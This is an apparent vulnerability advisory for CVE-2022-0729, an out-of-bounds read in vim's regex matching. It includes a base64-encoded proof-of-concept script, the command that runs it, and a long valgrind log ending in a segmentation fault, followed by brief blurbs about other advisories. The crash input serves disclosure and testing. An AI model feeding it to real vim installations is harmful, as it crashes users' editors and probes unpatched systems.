Headline
CVE-2022-0729: Use of Out-of-range Pointer Offset in vim
Use of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 8.2.4440.
Description
This issue occur in the v8.2.4428 version.
Proof of Concept
$ echo "dnMgIDPKKSAwMGNtZGxicmVh4OvbmfsA3ykA3/8wAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAhAAAA
AAAAAODr3/f/fwAAAAAAAAAAAPZRIwAAAAAAa3N5bWxpbmsgCmJcJlx6cypcenMqQGU=" | base64 -d > poc
$ ~/valgrind/vg-in-place -s ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"
==3464770== Memcheck, a memory error detector
==3464770== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==3464770== Using Valgrind-3.19.0.GIT and LibVEX; rerun with -h for copyright info
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x24838F: utf_head_off (mbyte.c:3866)
==3464770== by 0x2CDBD6: regmatch (regexp_bt.c:4628)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x246A0D: utf_ptr2char (mbyte.c:1788)
==3464770== by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x246A18: utf_ptr2char (mbyte.c:1789)
==3464770== by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x2C9884: regrepeat (regexp_bt.c:2740)
==3464770== by 0x2CCC78: regmatch (regexp_bt.c:4175)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x2CDC72: regmatch (regexp_bt.c:4648)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x2CDC89: regmatch (regexp_bt.c:4649)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x2CE708: bt_regexec_both (regexp_bt.c:4960)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== by 0x302DAD: cmd_source (scriptfile.c:1098)
==3464770== by 0x302DF2: ex_source (scriptfile.c:1124)
==3464770== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==3464770==
==3464770==
==3464770== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==3464770== at 0x4E2855B: kill (syscall-template.S:78)
==3464770== by 0x29B657: may_core_dump (os_unix.c:3508)
==3464770== by 0x29B60B: mch_exit (os_unix.c:3474)
==3464770== by 0x418097: getout (main.c:1719)
==3464770== by 0x25DA19: preserve_exit (misc1.c:2194)
==3464770== by 0x298E52: deathtrap (os_unix.c:1154)
==3464770== by 0x4E2820F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.so)
==3464770== by 0x2CE707: bt_regexec_both (regexp_bt.c:4960)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770==
==3464770== HEAP SUMMARY:
==3464770== in use at exit: 145,623 bytes in 572 blocks
==3464770== total heap usage: 1,218 allocs, 646 frees, 8,385,845 bytes allocated
==3464770==
==3464770== LEAK SUMMARY:
==3464770== definitely lost: 2,521 bytes in 3 blocks
==3464770== indirectly lost: 0 bytes in 0 blocks
==3464770== possibly lost: 0 bytes in 0 blocks
==3464770== still reachable: 143,102 bytes in 569 blocks
==3464770== suppressed: 0 bytes in 0 blocks
==3464770== Rerun with --leak-check=full to see details of leaked memory
==3464770==
==3464770== ERROR SUMMARY: 9 errors from 7 contexts (suppressed: 0 from 0)
==3464770==
==3464770== 1 errors in context 1 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x2CE708: bt_regexec_both (regexp_bt.c:4960)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== by 0x302DAD: cmd_source (scriptfile.c:1098)
==3464770== by 0x302DF2: ex_source (scriptfile.c:1124)
==3464770== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==3464770==
==3464770==
==3464770== 1 errors in context 2 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x2CDC89: regmatch (regexp_bt.c:4649)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 1 errors in context 3 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x2CDC72: regmatch (regexp_bt.c:4648)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 1 errors in context 4 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x2C9884: regrepeat (regexp_bt.c:2740)
==3464770== by 0x2CCC78: regmatch (regexp_bt.c:4175)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 1 errors in context 5 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x24838F: utf_head_off (mbyte.c:3866)
==3464770== by 0x2CDBD6: regmatch (regexp_bt.c:4628)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 2 errors in context 6 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x246A18: utf_ptr2char (mbyte.c:1789)
==3464770== by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 2 errors in context 7 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x246A0D: utf_ptr2char (mbyte.c:1788)
==3464770== by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== ERROR SUMMARY: 9 errors from 7 contexts (suppressed: 0 from 0)
Segmentation faultRelated news
Ubuntu Security Notice USN-6026-1
Ubuntu Security Notice 6026-1 - It was discovered that Vim was incorrectly processing Vim buffers. An attacker could possibly use this issue to perform illegal memory access and expose sensitive information. This issue only affected Ubuntu 20.04 LTS. It was discovered that Vim was using freed memory when dealing with regular expressions inside a visual selection. If a user were tricked into opening a specially crafted file, an attacker could crash the application, leading to a denial of service, or possibly achieve code execution with user privileges. This issue only affected Ubuntu 14.04 ESM, Ubuntu 18.04 LTS and Ubuntu 20.04 LTS.
CVE-2023-28069: DSA-2022-258: Dell Streaming Data Platform Security Update for Multiple Third-Party Component Vulnerabilities
Dell Streaming Data Platform prior to 1.4 contains Open Redirect vulnerability. An attacker with privileges same as a legitimate user can phish the legitimate the user to redirect to malicious website leading to information disclosure and launch of phishing attacks.
Scanvus now supports Vulners and Vulns.io VM Linux vulnerability detection APIs
Hello everyone! Great news for my open source Scanvus project! You can now perform vulnerability checks on Linux hosts and docker images not only using the Vulners.com API, but also with the Vulns.io VM API. It’s especially nice that all the code to support the new API was written and contributed by colleagues from Vulns.io. […]
CVE-2022-26730: About the security content of macOS Ventura 13
A memory corruption issue existed in the processing of ICC profiles. This issue was addressed with improved input validation. This issue is fixed in macOS Ventura 13. Processing a maliciously crafted image may lead to arbitrary code execution.
Gentoo Linux Security Advisory 202208-32
Gentoo Linux Security Advisory 202208-32 - Multiple vulnerabilities have been discovered in Vim, the worst of which could result in denial of service. Versions less than 9.0.0060 are affected.
Ubuntu Security Notice USN-5460-1
Ubuntu Security Notice 5460-1 - It was discovered that Vim was incorrectly processing Vim buffers. An attacker could possibly use this issue to perform illegal memory access and expose sensitive information. It was discovered that Vim was not properly performing bounds checks for column numbers when replacing tabs with spaces or spaces with tabs, which could cause a heap buffer overflow. An attacker could possibly use this issue to cause a denial of service or execute arbitrary code.